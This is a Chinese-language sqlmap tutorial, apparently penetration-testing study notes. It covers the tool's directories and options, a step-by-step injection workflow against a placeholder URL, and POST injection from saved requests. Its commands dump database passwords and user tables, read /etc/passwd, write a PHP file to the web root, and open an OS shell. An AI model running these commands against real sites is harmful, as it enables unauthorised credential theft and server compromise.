1. sqlmap介绍
sqlmap是一款自动化的SQL注入工具,用于检测和利用web应用程序中的SQL注入漏洞。不需要我们进行手注,当我们输入url地址后,会自动进行注入指令并将payload返回显示。
- 在kali中自带。
- 在本机中需要下载,在相应的路径使用命令行打开,搭配python使用,利用sqlmap.py 脚本运行。
-
1.1. sqlmap目录
1、doc 目录:保护 sqlmap 的简要说明,具体使用说明,作者信息等。
2、extra 目录:包含 sqlmap 的额外功能,如发出声响、允许 cmd、安全执行等。
3、lib 目录:sqlmap 核心目录。
4、plugins 目录:包含了 sqlmap 目前支持的 13 种数据库信息和数据库通用事项。
5、procs 目录:包含了 mssql、mysql、oracle、postgresql 的触发程序。
6、shell 目录:包含了注入成功后的 9 种 shell 远程命令执行。
7、tamper 目录:包含了 waf 绕过脚本。
8、thirdparty 目录:包含了第三方插件,例如优化,保持连接,颜色。
9、txt 目录:包含了表名字典,列名字典,UA 字典等。
10、udf 目录:存放攻击载荷。 11、waf 目录:存放 waf 特征判断脚本。12、xml 目录:存放多种数据库注入检测的 payload 等信息
1.2. sqlmap常用指令
-u #注入点
-r #保存数据包到文件中进行注入
-f #指纹判别数据库类型
-b #获取数据库版本信息
-p #指定可测试的参数(?page=1&id=2 -p "page,id") -D "" #指定数据库名
-T "" #指定表名
-C "" #指定字段
-s "" #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s "xx.log" 恢 复:-s "xx.log" --resume)
--level=(1-5) #要执行的测试水平等级,默认为 1
--risk=(0-3) #测试执行的风险等级,默认为 1
--time-sec=(2,5) #延迟响应,默认为 5
--data #通过 POST 发送数据
--columns #列出字段
--current-user #获取当前用户名称
--current-db #获取当前数据库名称
#列数据库所有用户
--passwords #数据库用户所有密码
--privileges #查看用户权限(--privileges -U root)
-U #指定数据库用户
--dbs #列出所有数据库
--tables -D "" #列出指定数据库中的表
--columns -T "user" -D "mysql" #列出 mysql 数据库中的 user 表的所有字段
--dump-all #列出所有数据库所有表
--exclude-sysdbs #只列出用户自己新建的数据库和表
--dump -T "" -D "" -C "" #列出指定数据库的表的字段的数据(--dump -T users -D master -C surname)
--dump -T "" -D "" --start 2 --top 4 # 列出指定数据库的表的 2-4 字段的数据
--dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
--os #指定系统(Linux,Windows)
-v #详细的等级(0-6)
0:只显示 Python 的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示 HTTP 请求。
5:显示 HTTP 响应头。
6:显示 HTTP 响应页面的内容
--privileges #查看权限
--is-dba #是否是数据库管理员
#枚举数据库用户角色
--udf-inject #导入用户自定义函数(获取系统权限)
--union-check #是否支持 union 注入
--union-cols #union 查询表记录
--union-test #union 语句测试
--union-use #采用 union 注入
--union-tech orderby #union 配合 order by
--data "" #POST 方式提交数据(--data "page=1&id=2")
--cookie "用;号分开" #cookie 注入(--cookies=” PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)
--referer "" #使用 referer 欺骗(--referer "http://www.baidu.com")
--user-agent "" #自定义 user-agent
--proxy "http://127.0.0.1:8118" #代理注入
--string="" #指定关键词,字符串匹配.
--threads #采用多线程(--threads 3)
--sql-shell #执行指定 sql 命令
--sql-query #执行指定的 sql 语句(--sql-query "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" )
1.2.1. 注意
当我们跑第一次时,所用时间较长,当我们跑第二次的时候刷的一下就出来了,这是因为在第一次跑完后会有缓存
如果当我们想要检查或者复测第二遍时,一定要刷新。
--purge
1.3. 工具注入流程
- 读取当前数据库版本,当前用户,当前数据库
sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db -v 1
使用指令后如下图所示
- 判断当前数据库用户权限
sqlmap -u http://www.xxxxx.com/test.php?p=2 --privileges -U 用户名 -v 1 sqlmap -u
http://www.xxxxx.com/test.php?p=2 --is-dba -U 用户名 -v 1
3.读取所有数据库用户或指定数据库用户的密码
sqlmap -u http://www.xxxxx.com/test.php?p=2 --users --passwords -v 2
sqlmap -u http://www.xxxxx.com/test.php?p=2 --passwords -U root -v 2
4.获取所有数据库
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2
5.获取指定数据库中的所有表
sqlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D mysql -v 2
6.获取指定数据库名中指定表的字段
sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2
7.获取指定数据库名中指定表中指定字段的数据
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2
8.file-read 读取 web 文件
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read "/etc/passwd" -v 2
9.file-write 写入文件到
web sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php --file
1.4. Get 方法注入
进入 sqlmap 文件夹运行 cmd 命令:python sqlmap.py -u url
--is-dba 当前用户权限(是否为 root 权限,mssql 下最高权限为 sa)
--dbs 所有数据库
--current-db 网站当前数据库
--users 所有数据库用户
--current-user 当前数据库用户
--random-agent 构造随机 user-agent
--passwords 数据库密码
--proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
--time-sec=TIMESEC DBMS 响应的延迟时间(默认为 5 秒
--threads= 使用多少线程
1.5. post 型注入
先利用 bp 去抓一个包,直接发送包里面的内容保存到一个文件里面,然后用-r 参数去 实现它就好,如果保存的数据包文件和 sqlmap.py 的脚本在统一路径下,则可以不用 加路径,直接跟文件名字就好,例如:python sqlmap.py -r 1.txt --dbs 如果不想用-p 参数指定注入点,也可以在保存数据包的我呢见中在参数后面加*,脚本会自动识别,
例如 id=1,id 参数存在注入,可以 id=1*,加上*后保存文件即可。
python sqlmap.py -r "D:\phpStudy\WWW\post.txt" -p uname(注入点) --dbs(爆所有库)
python sqlmap.py -r "D:\phpStudy\WWW\post.txt" -p uname -D security --tables(爆指定数 据库的表)
python sqlmap.py -r "D:\phpStudy\WWW\post.txt" -p uname -D security -T user -- columns(爆列)
python sqlmap.py -r "D:\phpStudy\WWW\post.txt" -p uname -D security -T user -C “username,password” --dump(爆数据)
2. --os-shell(工具)
2.1. 利用条件(MySQL)
- 高权限:要求为数据库的DBA(最高管理),使用--is-dba查看当前网站连接的数据库的账号
- 知道绝对路径:必须知道,不然无法确定--os-shell 上传文件的位置